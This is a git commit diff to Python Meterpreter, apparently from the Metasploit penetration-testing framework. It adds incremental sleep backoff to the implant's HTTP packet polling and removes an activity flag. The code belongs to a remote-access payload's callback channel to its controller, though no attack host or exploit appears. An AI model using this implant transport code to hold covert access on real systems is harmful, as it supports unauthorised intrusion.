Pymet use incremental backoff for http recv pkt

bug/bundler_fix
Spencer McIntyre 2015-07-16 10:29:36 -04:00
parent 831cb904a9
commit 0cb5000e48
1 changed files with 65 additions and 64 deletions

View File

@ -409,7 +409,6 @@ class Transport(object):
def __init__(self): def __init__(self):
self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
self.communication_last = 0 self.communication_last = 0
self.communication_active = False
self.retry_total = SESSION_RETRY_TOTAL self.retry_total = SESSION_RETRY_TOTAL
self.retry_wait = SESSION_RETRY_WAIT self.retry_wait = SESSION_RETRY_WAIT
@ -446,7 +445,6 @@ class Transport(object):
activate_succeeded = False activate_succeeded = False
if activate_succeeded: if activate_succeeded:
self.communication_last = time.time() self.communication_last = time.time()
self.communication_active = True
return True return True
time.sleep(self.retry_wait) time.sleep(self.retry_wait)
return False return False
@ -460,11 +458,9 @@ class Transport(object):
except: except:
pass pass
self.communication_last = 0 self.communication_last = 0
self.communication_active = False
return True return True
def get_packet(self): def get_packet(self):
self.communication_active = False
try: try:
pkt = self._get_packet() pkt = self._get_packet()
except: except:
@ -472,16 +468,13 @@ class Transport(object):
if pkt is None: if pkt is None:
return None return None
self.communication_last = time.time() self.communication_last = time.time()
self.communication_active = True
return pkt return pkt
def send_packet(self, pkt): def send_packet(self, pkt):
try: try:
self._send_packet(pkt) self._send_packet(pkt)
except: except:
self.communication_active = False
return False return False
self.communication_active = True
self.communication_last = time.time() self.communication_last = time.time()
return True return True
@ -518,6 +511,7 @@ class HttpTransport(Transport):
self.url = url self.url = url
self._http_request_headers = {'Content-Type': 'application/octet-stream'} self._http_request_headers = {'Content-Type': 'application/octet-stream'}
self._first_packet = None self._first_packet = None
self._empty_cnt = 0
def _activate(self): def _activate(self):
return True return True
@ -537,13 +531,23 @@ class HttpTransport(Transport):
request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers) request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers)
url_h = urllib.urlopen(request, timeout=self.communication_timeout) url_h = urllib.urlopen(request, timeout=self.communication_timeout)
packet = url_h.read() packet = url_h.read()
for _ in range(1):
if packet == '': if packet == '':
return '' break
if len(packet) < 8: if len(packet) < 8:
return None # looks corrupt packet = None # looks corrupt
break
pkt_length, _ = struct.unpack('>II', packet[:8]) pkt_length, _ = struct.unpack('>II', packet[:8])
if len(packet) != pkt_length: if len(packet) != pkt_length:
return None # looks corrupt packet = None # looks corrupt
if not packet:
delay = 10 * self._empty_cnt
if self._empty_cnt >= 0:
delay *= 10
self._empty_cnt += 1
time.sleep(float(min(10000, delay)) / 1000)
return packet
self._empty_cnt = 0
return packet[8:] return packet[8:]
def _send_packet(self, packet): def _send_packet(self, packet):
@ -747,15 +751,12 @@ class PythonMeterpreter(object):
def run(self): def run(self):
while self.running and not self.session_has_expired: while self.running and not self.session_has_expired:
request = None
should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 0.75)
if should_get_packet:
request = self.get_packet() request = self.get_packet()
if request: if request:
response = self.create_response(request) response = self.create_response(request)
if response: if response:
self.send_packet(response) self.send_packet(response)
else: continue
# iterate over the keys because self.channels could be modified if one is closed # iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys()) channel_ids = list(self.channels.keys())
for channel_id in channel_ids: for channel_id in channel_ids: